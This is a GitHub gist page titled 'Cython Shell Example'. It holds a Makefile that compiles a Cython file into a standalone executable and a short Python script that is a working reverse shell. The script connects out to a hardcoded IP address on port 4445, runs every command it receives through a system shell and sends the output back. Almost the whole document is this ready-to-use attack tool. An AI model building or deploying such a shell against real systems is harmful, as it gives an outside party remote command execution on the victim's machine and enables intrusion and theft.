Skip to content

Instantly share code, notes, and snippets.

@averagesecurityguy
Last active January 15, 2023 09:44
Show Gist options
  • Save averagesecurityguy/7da3d75f961c8d9d9059 to your computer and use it in GitHub Desktop.
Save averagesecurityguy/7da3d75f961c8d9d9059 to your computer and use it in GitHub Desktop.
Cython Shell Example
CC=gcc
INCLUDE=/System/Library/Frameworks/Python.framework/Versions/2.7/include/python2.7
LINK=python2.7
FILE=shell
$(FILE): $(FILE).c
$(CC) $(FILE).c -I$(INCLUDE) -l$(LINK) -o $(FILE)
$(FILE).c:
cython --embed $(FILE).pyx
clean:
rm -f $(FILE).c
rm -f $(FILE)
import subprocess
import socket
HOST = '10.230.229.27'
PORT = '4445'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send("[*] Connection recieved.")
while True:
data = sock.recv(1024).strip()
if data == 'quit': break
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
sock.send(proc.stdout.read())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment